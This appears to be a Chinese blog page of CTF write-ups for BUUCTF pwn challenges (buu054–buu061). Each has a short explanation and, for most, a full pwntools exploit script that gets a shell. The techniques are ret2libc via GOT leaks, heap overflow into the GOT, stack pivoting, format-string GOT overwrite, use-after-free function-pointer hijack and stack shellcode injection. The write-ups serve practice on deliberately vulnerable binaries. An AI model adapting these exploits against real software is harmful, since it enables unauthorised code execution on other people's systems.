buuctf-pwn write-ups (7)

buu054-jarvisoj_level1

又是那个jarvisoj特有的“肠梗阻”问题,远程的消息不发点东西过去它是不会过来的,这题本来是在栈中写shellcode然后返回到栈上执行,但是也可以用ret2Libc。

from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26705)
elf = ELF('./pwn')
io.sendline(cyclic(0x88+4) + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['printf']) + p32(4))
printf = u32(io.recv(4))
libc = LibcSearcher('printf', printf)
base = printf - libc.dump('printf')
print(hex(base))
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
io.sendline(cyclic(0x88+4) + p32(sys) + p32(0xdeadbeef) + p32(binsh))
io.interactive()

buu055-babyfengshui_33c3_2016

一道考察堆排布的题目,一共可以添加最多50个用户,每一个用户的信息用两个chunk来保存。第一个chunk保存description,大小可以自由选择,第二个chunk保存第一个chunk的地址加用户名,大小固定为0x80(可写大小)。

需要重点关注一下选项0添加用户中用于读取姓名的函数中的一个检查。

这个地方检查的是两个堆地址的大小关系。那这个检查到底检查的是什么呢?
ptr存放50个user_info指针,那么&ptr+index应该就是要写入用户名的user_info的地址,查阅汇编代码发现后面的name[120]不明所以,故调试才是最好的理解方式。调试发现,这里实际上检查的是:一个user_info中desc的输入长度是否超限。它的比较方式是:首先输入desc的长度(这里实际上是重复输入,前面已经输入过一次长度,desc的chunk已经分配),然后程序比较"desc+长度"这个地址是否超过了user_info的地址。由于desc先于user_info分配,因此这样检查。如分配的desc可写头部地址为0x8049208,可写大小为0x80,user_info的可写头部地址为0x8049298,在写入desc的时候输入大小为0x40,那么这个检查比较的是0x8049208+0x40和0x804929c(user_info的size)的大小。
如此看来,绕过这个检查的思路就很清晰了。我们想办法让这两个chunk分配的距离远一点,中间还有其他的chunk,而且desc分配在user_info的低地址位置。这样的话我们就可以通过写入desc来覆盖某些chunk。
如下图就是一个简洁的利用思路。

通过堆溢出将user_info #3中的desc指针替换成.got表地址,获取到free函数地址后计算system地址,再写回到got表中,调用free函数即可执行system(‘/bin/sh’)

from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29858)
elf = ELF('./pwn')

def add(size, desclen, desc, name):
	io.sendlineafter(b'Action: ', b'0')
	io.sendlineafter(b'size of description: ', str(size).encode())
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'text length: ', str(desclen).encode())
	io.sendlineafter(b'text: ', desc)

def delete(index):
	io.sendlineafter(b'Action: ', b'1')
	io.sendlineafter(b'index: ', str(index).encode())
	
def show(index):
	io.sendlineafter(b'Action: ', b'2')
	io.sendlineafter(b'index: ', str(index).encode())

def update(index, desclen, desc):
	io.sendlineafter(b'Action: ', b'3')
	io.sendlineafter(b'index: ', str(index).encode())
	io.sendlineafter(b'text length: ', str(desclen).encode())
	io.sendafter(b'text: ', desc)
	
add(0x20, 0x20, b'/bin/sh', b'colin')	# user #0
add(0x20, 0x20, b'colin', b'colin')		# user #1
add(0x20, 0x20, b'colin', b'colin')		# user #2
delete(1)
payload = cyclic(0x80)
payload += p32(0)		# prev size of user_#2.desc
payload += p32(0x29)	# size of user_#2.desc
payload += b'\x00' * 0x20
payload += p32(0)		# prev size of user_#2.userinfo
payload += p32(0x89)	# size of user_#2.userinfo
payload += p32(elf.got['free'])	# change the desc pointer to .plt.got
add(0x80, 0x100, payload, b'colin')	# user #3, desc chunk = userinfo #1
show(2)
io.recvuntil(b'description: ')
free = u32(io.recv(4))
print(hex(free))
libc = LibcSearcher('free', free)
base = free - libc.dump('free')
sys = base + libc.dump('system')
update(2, 4, p32(sys))
delete(0)
io.interactive()

buu056-ciscn_2019_s_4

这题的vuln函数里面有两个输入,第一个输入我们通过printf套出来ebp的地址,可以计算得到我们输入的字符串的地址,之后第二个输入将ebp修改到字符串里面,返回到一个函数内部,在没有push ebp的前提下,leave指令会首先进行mov esp, ebp操作,将esp强制上抬到我们的字符串中间,将system地址写到字符串中即可getshell。注意字符串’/bin/sh’要写到system地址高地址处,防止system函数内部覆盖字符串。

from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 28199)
elf = ELF('./pwn')
io.sendline(cyclic(40-1))
io.recvuntil('Hello, ')
io.recv(40)
ebp = u32(io.recv(4))
print(hex(ebp))
buf_addr = ebp - 0x38
payload = p32(elf.plt['system'])        # offset: 0x0
payload += p32(elf.symbols['main'])     # offset: 0x4
payload += p32(buf_addr + 0xC)          # offset: 0x8
payload += b'/bin/sh\x00'               # offset: 0xC
payload += cyclic(0x14)                 # 0ffset: 0x14
payload += p32(buf_addr - 4)            # ebp
payload += p32(0x8048562)               # ret addr: leave; ret
io.send(payload)
io.interactive()

buu057-hitcontraining_magicheap

和第39题完全相同,除了magic和heaparray的地址少了0x20。略过。

buu058-axb_2019_fmt32

格式化字符串题。首先通过调试找到格式化字符串的偏移:

使用格式化字符串泄露got表地址,然后使用fmtstr_payload函数构造payload,将printf函数的got表地址改成system。(下面的代码有一定概率通不过,不知道是什么原因)

from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29861)
elf = ELF('./pwn')
io.sendlineafter(b'Please tell me:', b'a%9$s' + p32(elf.got['alarm']))
io.recvuntil(b'Repeater:a')
alarm = u32(io.recv(4))
print(hex(alarm))
libc = LibcSearcher('alarm', alarm)
base = alarm - libc.dump('alarm')
print(hex(base))
sys = base + libc.dump('system')
print(hex(sys))
payload = b'|| deadbeef||'
payload += fmtstr_payload(11, {elf.got['printf']: sys}, numbwritten=22)
print(payload)
io.sendlineafter(b'Please tell me:', payload)
io.sendline(b'|| /bin/sh')
io.interactive()

buu059-ciscn_2019_n_3

经过对源程序的分析,可以得到本题中使用的数据结构如下:

records全局变量是chunk_info*的数组。其中可以存放整型或字符串。
在两个释放内存的函数中都没有将全局变量中的对应指针删除,可能会导致UAF。
由于打印内容使用的是chunk_info中的函数指针,因此修改这个函数指针可以有任意代码执行。
此处利用UAF修改函数指针,修改free函数指针到system,修改print函数指针为字符串’sh\x00\x00’,这样在删除的时候就可以执行"system(‘sh’)"。

from pwn import *
context.log_level='debug'
io = process('./pwn')
elf = ELF("./pwn")
def add(index, type, content, length=0):
    io.sendlineafter(b'CNote > ', b'1')
    io.sendlineafter(b'Index > ', str(index).encode())
    io.sendlineafter(b'Type > ', str(type).encode())
    if type == 2:
        io.sendlineafter(b'Length > ', str(length).encode())
    io.sendlineafter(b'Value > ', content)

def delete(index):
    io.sendlineafter(b'CNote > ', b'2')
    io.sendlineafter(b'Index > ', str(index).encode())

def dump(index):
    io.sendlineafter(b'CNote > ', b'3')
    io.sendlineafter(b'Index > ', str(index).encode())

add(0, 2, b'/bin/sh', 0x10)
add(1, 1, b'123456')
delete(0)
delete(1)
add(2, 2, b'sh\x00\x00' + p32(elf.plt['system']), 0xc)
delete(0)
io.interactive()

buu060-wustctf2020_closed

这道题实际上是要我们理解linux标准输入输出。开启一个终端之后,对于这个终端来说有标准输入(文件描述符为0)、标准输出(1)和标准错误输出(2)三个标准IO流。这三个流的文件描述符指向的是一个地方,也就是开启的控制台。理解这道题题解exec 1>&0的关键是将控制台程序本身看成是一个文件,这个文件可以通过我们的键盘输入内容,也可以进行输出,输出的内容可以被我们看见,但输出本身仍然在这个文件中。程序关闭了标准输出和标准错误输出,但是输入没有关闭,三个文件描述符原本指向的都是这个控制台程序,那么现在我们只需要让标准输入重新指向控制台就可以了,也就是指向标准输入指向的地方。

如下图所示,这个控制台程序是pycharm内部的控制台,其标准输入、输出、错误输出都指向/dev/pts/2。那么exec 1>&0实际上就等同于exec 1>/dev/pts/2

我们首先使用exec 1>&0打开输出流,查看一下标准输入流指向的位置,发现是/dev/pts/2

因此,下面的输入也可以打开输出流:exec 1>/dev/pts/2(本地可以,远程不行因为没有file命令)

buu061-pwnable_start

这道题源程序非常简单,应该是用汇编写的,就两个函数。进行了两次系统调用,一次输出一次输入,栈可执行。

观察到输入的长度大于输出,可以通过返回到输出syscall上方的代码,跳过对输出长度mov dl, 14h的修改,而直接执行后面的mov bl,1; mov al,4,可以实现输出0x3C个字节的数据,以此来获取栈的地址。

打印出栈地址之后还可进行一次输出,可以将shellcode写入,然后执行shellcode即可。经过调试发现shellcode有44字节,写入shellcode之后正好就是返回地址的写入位置。但这里需要注意几点:

  1. 不能直接将返回地址写到shellcode之后。虽然这样能够成功返回到shellcode,但是由于shellcode中有很多push指令,而shellcode在返回地址的低地址处,会导致shellcode的后面一部分被覆盖,无法正常执行。
  2. 不能直接将shellcode写到返回地址后面,因为输入的长度最多只能为0x3C字节,在返回地址之后最多只能写入0xC个字节,长度不够。

因此考虑在返回地址之后单独写一个跳转的小gadget:sub esp, 0x100; jmp ecx。注意执行到这里时ecx的值和调用输入系统调用的ecx值相等,因此jmp ecx能够直接执行shellcode。而sub esp,0x100则是强制让栈下移,防止shellcode被覆盖。如此,返回地址就应该写sub esp,0x100的地址。

exp:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
io = process('./pwn')

payload = cyclic(20)
payload += p32(0x804808B)

io.sendafter(b'Let\'s start the CTF:', payload)
io.recvuntil(p32(0x804808b))
stack_addr = u32(io.recv(4))

payload = asm(shellcraft.sh())
payload += p32(stack_addr + 0x14)
payload += asm("sub esp, 0x100;"
               "jmp ecx;")

io.send(payload)
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值